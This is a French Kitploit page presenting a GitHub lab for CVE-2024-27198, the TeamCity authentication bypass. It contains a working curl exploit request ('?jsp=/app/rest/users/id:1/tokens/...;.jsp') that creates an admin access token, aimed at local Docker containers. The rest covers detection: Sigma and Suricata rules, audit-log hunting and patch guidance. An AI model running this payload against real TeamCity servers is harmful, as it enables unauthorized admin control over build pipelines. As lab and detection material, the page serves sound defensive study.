Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionRenseignement sur les MenacesDétection d'IntrusionApprentissage et ÉducationRéponse aux IncidentsAnalyse de JournauxLabs et Pratique
5il y a 3 moisPas encore vérifié
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

Laboratoire pour CVE-2024-27198

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Labo CVE-2024-27198

Description

TeamCity fournit une page réservée aux administrateurs pour la gestion des jetons qui n'est pas protégée par l'authentification. Cela permet à un utilisateur non authentifié de générer un jeton d'accès pour l'utilisateur administrateur s'il parvient à trouver l'ID d'un utilisateur existant.


Détails CVE

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Base Score: 9.8 CRITICAL
  • Vector:
    • CVSS:3.1
    • AV:N Network
    • AC:L Low
    • PR:N None
    • UI:N None
    • S:U Unchanged
    • C:H High
    • I:H High
    • A:H High

Renseignement sur les menaces & OSINT

Impact réel & Exploitation

  • Catalogue CISA KEV : Ajouté le 7 mars 2024, confirmant une exploitation active dans la nature.
  • Acteurs de la menace : Exploité par plusieurs groupes de ransomwares et APT, notamment le groupe de ransomware BianLian et la variante de ransomware Jasmin. Les attaquants ont utilisé ce contournement pour créer des comptes administrateur malveillants, déployer des plugins malveillants et exécuter du code arbitraire (RCE) pour se déplacer latéralement au sein des réseaux victimes.
Télécharger l’outil
  • Profil cible : Les pipelines CI/CD sont des cibles de grande valeur (attaques sur la chaîne d'approvisionnement). Compromettre TeamCity permet aux attaquants d'injecter du code malveillant dans les builds logiciels, de voler le code source et d'extraire les secrets de déploiement (clés AWS, certificats).
  • Pourquoi cette CVE est critique

    La vulnérabilité réside dans le mécanisme de routage de l'API REST. En ajoutant des caractères spécifiques (comme ?jsp=/app/rest/...;.jsp) à un point de terminaison non authentifié, les attaquants peuvent tromper le serveur web TeamCity pour qu'il achemine la requête vers un point de terminaison authentifié tout en contournant les filtres de sécurité. Cela ne nécessite aucune connaissance ou accès préalable, ce qui en fait un CVSS pur de 9.8.


    Étapes pour reproduire

    Démarrer les conteneurs

    root@kitploit:~
    cd CVE-2024-27198
    
    root@kitploit:~
    docker compose -f docker-compose.yml up -d
    

    Accédez à l'instance TeamCity vulnérable à l'adresse http://localhost:8111. Accédez à l'instance TeamCity corrigée à l'adresse http://localhost:8112.


    Portail de connexion

    Username:

    root@kitploit:~
    admin
    

    Password:

    root@kitploit:~
    admin
    

    Tester la vulnérabilité

    Requête GET pour une ressource sans authentification :

    root@kitploit:~
    curl -i http://localhost:8111/app/rest/users
    
    root@kitploit:~
    curl -i http://localhost:8112/app/rest/users
    

    Les deux devraient renvoyer une erreur avec le code d'état 401.


    Générer un jeton pour l'utilisateur administrateur

    root@kitploit:~
    curl -X POST -H "Content-Type: application/json" \
      "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Cela devrait renvoyer un jeton comme celui-ci (Le jeton est différent à chaque fois) :

    root@kitploit:~
    eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
    
    root@kitploit:~
    curl -X POST -H "Content-Type: application/json" \
      "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Cela devrait renvoyer une erreur avec le code d'état 401 car l'instance corrigée ne présente pas la vulnérabilité.


    Vérifier le jeton

    root@kitploit:~
    curl -i -H "Authorization: Bearer <TOKEN>" \
      http://localhost:8111/app/rest/users
    

    Devrait renvoyer la liste des utilisateurs.


    Supprimer le jeton

    1. Allez sur http://localhost:8111 avec le compte administrateur.
    2. Cliquez sur l'icône du profil en haut à droite.
    3. Allez dans Profil -> Jetons d'accès.
    4. Vous verrez le jeton "REDTEAM".
    5. Cliquez simplement sur Supprimer à côté du jeton.

    Équipe Bleue : Chasse aux IoC dans les journaux (Le facteur furtif)

    Lors de la démonstration dans le laboratoire, vous pouvez montrer une découverte majeure pour l'équipe bleue : par défaut, cette vulnérabilité est incroyablement furtive !

    1. Les journaux d'accès Tomcat sont désactivés par défaut dans l'image Docker TeamCity, donc les requêtes HTTP ;.jsp ne sont pas enregistrées.
    2. Le journal d'audit TeamCity n'enregistre pas la création de jetons via l'API REST.

    Alors comment l'attraper ? Quand l'attaquant nettoie ses traces ! Lorsque l'attaquant supprime son jeton malveillant pour se cacher, TeamCity enregistre cette action.

    Trouvez l'attaquant dissimulant ses traces dans les journaux d'audit :

    root@kitploit:~
    docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
    

    (Vous verrez une entrée de journal indiquant que le jeton "REDTEAM" a été supprimé).


    Arrêter les conteneurs

    root@kitploit:~
    docker compose -f docker-compose.yml down
    

    Atténuation & Détection

    Analyse technique (CWE-288)

    Cette vulnérabilité est une instance de CWE-288 : Contournement d'authentification utilisant un chemin ou canal alternatif. Le défaut provient d'un problème de confusion de chemin entre le serveur web Tomcat et le routeur d'application TeamCity. En ajoutant ;.jsp et en passant le point de terminaison API REST cible dans le paramètre jsp=, le filtre de sécurité initial interprète la requête comme une requête non authentifiée vers un fichier .jsp public (ce qui est autorisé). Cependant, le routeur interne supprime le ;.jsp et transmet la requête au point de terminaison restreint /app/rest/ sans appliquer le filtre d'authentification.

    Cas d'utilisation légitime (Pourquoi ; est-il autorisé ?) : Tomcat utilise le point-virgule (;) pour les paramètres matriciels. Historiquement, ce mécanisme est utilisé pour passer des paramètres directement dans le chemin, comme ajouter JSESSIONID pour maintenir l'état de session utilisateur lorsque les cookies sont désactivés. Ce comportement normal et légitime du serveur web, combiné à la validation incorrecte par le routeur d'application TeamCity, crée la vulnérabilité.

    Indicateurs de compromission (IoC)

    Pour détecter une compromission en cours ou passée, les équipes bleues doivent rechercher :

    1. Journaux Web : Requêtes HTTP ciblant les points de terminaison /app/rest/ mais contenant la chaîne anormale ;.jsp dans l'URI.
    2. Journaux d'audit (teamcity-server.log) : Génération inexpliquée de jetons d'accès ou création de nouveaux comptes administratifs.
    3. Niveau système : Installation de plugins inconnus ou suspects (souvent utilisés par les attaquants pour élever leurs privilèges et réaliser une exécution de code à distance).

    Détection dans les journaux (Règle Sigma)

    Étant donné que l'exploit initial est furtif par défaut, les équipes bleues doivent s'appuyer sur la détection des actions post-exploitation de l'attaquant, comme le fait de masquer ses traces. Voici une règle Sigma pour votre SIEM afin de détecter les suppressions suspectes de jetons :

    root@kitploit:~
    title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
    id: 9a2b53f6-1234-4567-890a-abcdef123456
    status: experimental
    description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
    author: Purple Team
    date: 2026-05-18
    logsource:
        category: application
        product: teamcity
    detection:
        selection:
            message|contains: 'delete_token_for_user'
        condition: selection
    level: medium
    

    Démo en direct SIEM (Équipe Bleue)

    Pour prouver que cette détection fonctionne, exécutez le script siem_simulator.py.

    1. Ouvrez un second terminal en parallèle de votre terminal d'exploit.
    2. Assurez-vous que le conteneur vulnérable est en cours d'exécution (docker compose up -d).
    3. Exécutez le simulateur :
    root@kitploit:~
    python3 siem_simulator.py
    
    1. Dans le premier terminal, exécutez l'exploit, vérifiez le jeton, puis supprimez le jeton via l'interface web.
    2. Regardez le second terminal s'allumer avec une alerte critique rouge montrant la règle Sigma attrapant l'attaquant en train de masquer ses traces !

    Correction

    • Correctif officiel : Mettez à niveau TeamCity vers la version 2023.11.4 ou supérieure, qui nettoie correctement et applique la correspondance de routage côté serveur.
    • Solution de contournement : Si le correctif est impossible, JetBrains a publié un plugin de correctif de sécurité qui peut être installé sur les instances vulnérables.

    Détection réseau (Règle Suricata / Snort)

    Pour détecter cette tentative d'exploitation sur le réseau, un SOC peut implémenter la règle IDS suivante, qui recherche le motif anormal ;.jsp combiné aux chemins API REST :

    root@kitploit:~
    alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
    

    Tester la version corrigée (Démonstration en laboratoire)

    Pour prouver que l'atténuation fonctionne, vous pouvez lancer exactement la même charge utile d'exploit contre le conteneur TeamCity corrigé fonctionnant sur le port 8112 :

    root@kitploit:~
    curl -i -X POST -H "Content-Type: application/json" \
      "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Étant donné que le correctif applique strictement la correspondance de routage et nettoie correctement les paramètres matriciels, le contournement échouera. Vous devriez voir une réponse 401 Unauthorized ou 404 Not Found au lieu d'un jeton généré.


    Liens

    • CVE-2024-27198